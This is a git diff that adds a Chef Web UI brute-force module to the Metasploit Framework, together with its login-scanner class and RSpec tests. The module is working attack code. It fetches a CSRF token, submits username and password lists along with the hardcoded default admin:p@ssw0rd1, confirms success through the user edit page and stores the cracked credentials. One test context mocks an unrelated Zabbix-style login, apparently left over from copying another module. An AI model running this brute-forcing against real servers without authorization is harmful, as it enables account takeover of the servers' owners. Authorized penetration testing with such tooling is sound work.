diff --git a/lib/metasploit/framework/login_scanner/chef_webui.rb b/lib/metasploit/framework/login_scanner/chef_webui.rb new file mode 100644 index 0000000000..22fa4a1513 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/chef_webui.rb @@ -0,0 +1,144 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI + class ChefWebUI < HTTP + + DEFAULT_PORT = 80 + PRIVATE_TYPES = [ :password ] + + # @!attribute session_name + # @return [String] Cookie name for session_id + attr_accessor :session_name + + # @!attribute session_id + # @return [String] Cookie value + attr_accessor :session_id + + + # (see Base#check_setup) + def check_setup + begin + res = send_request({'uri' => normalize_uri('/users/login')}) + return "Connection failed" if res.nil? + + if res.code != 200 + return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)" + end + + if res.body.to_s !~ /Chef Server<\/title>/ + return "Unexpected HTTP body (is this really Chef WebUI?)" + end + + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + return "Unable to connect to target" + end + + false + end + + # Sends a HTTP request with Rex + # + # @param (see Rex::Proto::Http::Resquest#request_raw) + # @return [Rex::Proto::Http::Response] The HTTP response + def send_request(opts) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies) + cli.connect + req = cli.request_raw(opts) + res = cli.send_recv(req) + + # Save the session ID cookie + if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i + self.session_name = $1 + self.session_id = $2 + end + + res + end + + # Sends a login request + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Rex::Proto::Http::Response] The HTTP auth response + def try_credential(csrf_token, credential) + + data = "utf8=%E2%9C%93" # ✓ + data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}" + data << "&name=#{Rex::Text.uri_encode(credential.public)}" + data << "&password=#{Rex::Text.uri_encode(credential.private)}" + data << "&commit=login" + + opts = { + 'uri' => normalize_uri('/users/login_exec'), + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Type' => 'application/x-www-form-urlencoded', + 'Cookie' => "#{self.session_name}=#{self.session_id}" + } + } + + send_request(opts) + end + + + # Tries to login to Chef WebUI + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def try_login(credential) + + # Obtain a CSRF token first + res = send_request({'uri' => normalize_uri('/users/login')}) + unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m) + return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body} + end + + csrf_token = $1 + + res = try_credential(csrf_token, credential) + if res && res.code == 302 + opts = { + 'uri' => normalize_uri("/users/#{credential.public}/edit"), + 'method' => 'GET', + 'headers' => { + 'Cookie' => "#{self.session_name}=#{self.session_id}" + } + } + res = send_request(opts) + if (res && res.code == 200 && res.body.to_s =~ /New password for the User/) + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + # Decides which login routine and returns the results + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Result] + def attempt_login(credential) + result_opts = { credential: credential } + + begin + status = try_login(credential) + result_opts.merge!(status) + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + + Result.new(result_opts) + end + + end + end + end +end + diff --git a/modules/auxiliary/scanner/http/chef_webui_login.rb b/modules/auxiliary/scanner/http/chef_webui_login.rb new file mode 100644 index 0000000000..338413afa0 --- /dev/null +++ b/modules/auxiliary/scanner/http/chef_webui_login.rb @@ -0,0 +1,162 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/login_scanner/chef_webui' +require 'metasploit/framework/credential_collection' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Chef Web UI Brute Force Utility', + 'Description' => %q{ + This module attempts to login to Chef Web UI server instance using username and password + combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It + will also test for the default login (admin:p@ssw0rd1). + }, + 'Author' => + [ + 'hdm' + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']), + OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]), + OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]) + ], self.class) + end + + def init_loginscanner(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + # Always try the default first + @cred_collection.prepend_cred( + Metasploit::Framework::Credential.new(public: 'admin', private: 'p@ssw0rd1') + ) + + @scanner = Metasploit::Framework::LoginScanner::ChefWebUI.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + uri: datastore['TARGETURI'], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + framework: framework, + framework_module: self, + ) + + @scanner.ssl = datastore['SSL'] + @scanner.ssl_version = datastore['SSLVERSION'] + end + + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end + + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::DENIED_ACCESS + print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + end + end + end + + + # + # main + # + def run_host(ip) + init_loginscanner(ip) + msg = @scanner.check_setup + if msg + print_brute :level => :error, :ip => rhost, :msg => msg + return + end + + print_brute :level=>:status, :ip=>rhost, :msg=>("Found Chef Web UI application at #{datastore['TARGETURI']}") + bruteforce(ip) + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb b/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb new file mode 100644 index 0000000000..523b8288d5 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb @@ -0,0 +1,182 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/chef_webui' + +describe Metasploit::Framework::LoginScanner::ChefWebUI do + + subject(:http_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + + let(:username) do + 'admin' + end + + let(:password) do + 'password' + end + + let(:cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username, + private: password + ) + end + + let(:bad_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: 'bad', + private: 'bad' + ) + end + + let(:disabled_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username_disabled, + private: password_disabled + ) + end + + let(:res_code) do + 200 + end + + context '#send_request' do + let(:req_opts) do + {'uri'=>'/users/sign_in', 'method'=>'GET'} + end + + it 'returns a Rex::Proto::Http::Response object' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + expect(http_scanner.send_request(req_opts)).to be_kind_of(Rex::Proto::Http::Response) + end + + it 'parses session cookies' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + allow_any_instance_of(Rex::Proto::Http::Response).to receive(:get_cookies).and_return("_sandbox_session=c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e") + http_scanner.send_request(req_opts) + expect(http_scanner.session_name).to eq("_sandbox_session") + expect(http_scanner.session_id).to eq("c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e") + end + end + + context '#try_credential' do + it 'sends a login request to /users/login_exec' do + expect(http_scanner).to receive(:send_request).with(hash_including('uri'=>'/users/login_exec')) + http_scanner.try_credential('byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=', cred) + end + + it 'sends a login request containing the username and password' do + expect(http_scanner).to receive(:send_request).with(hash_including('data'=>"utf8=%E2%9C%93&authenticity_token=byV12YkMA6NV3zJFqclZjy1JR%2bAZYbCx75gT0dipoAo%3d&name=#{username}&password=#{password}&commit=login")) + http_scanner.try_credential('byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=', cred) + end + end + + context '#try_login' do + + let(:login_ok_message) do + 'New password for the User' + end + + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('/users/login_exec') && + req.opts['data'] && + req.opts['data'].include?("name=#{username}") && + req.opts['data'].include?("password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = "/users/#{username}/edit" + res.headers['Set-Cookie'] = '_sandbox_session=c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e' + res + elsif req.opts['uri'] && req.opts['uri'].include?('/users/login') + res = Rex::Proto::Http::Response.new(200) + res.body = '<input name="authenticity_token" type="hidden" value="byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=" />' + elsif req.opts['uri'] && req.opts['uri'].include?('/users/login_exec') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?("/users/#{username}/edit") + res = Rex::Proto::Http::Response.new(200) + res.body = 'New password for the User' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + end + + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL for a valid credential' do + expect(http_scanner.try_login(cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + + it 'returns Metasploit::Model::Login::Status::INCORRECT for an invalid credential' do + expect(http_scanner.try_login(bad_cred)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + context '#attempt_login' do + context 'when Rex::Proto::Http::Client#connect raises a Rex::ConnectionError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a Timeout::Error' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a EOFError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when ChefWebUI' do + let(:login_ok_message) do + '<title>ChefWebUI 2.4 Appliance: User profile' + end + + it 'returns a Metasploit::Framework::LoginScanner::Result' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('index.php') && + req.opts['data'] && + req.opts['data'].include?("name=#{username}") && + req. opts['data'].include?("password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = 'profile.php' + res.headers['Set-Cookie'] = 'zbx_sessionid=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('index.php') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('profile.php') + res = Rex::Proto::Http::Response.new(200) + res.body = 'New password for the User' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + + expect(http_scanner.attempt_login(cred)).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + end + + end + + end + +end +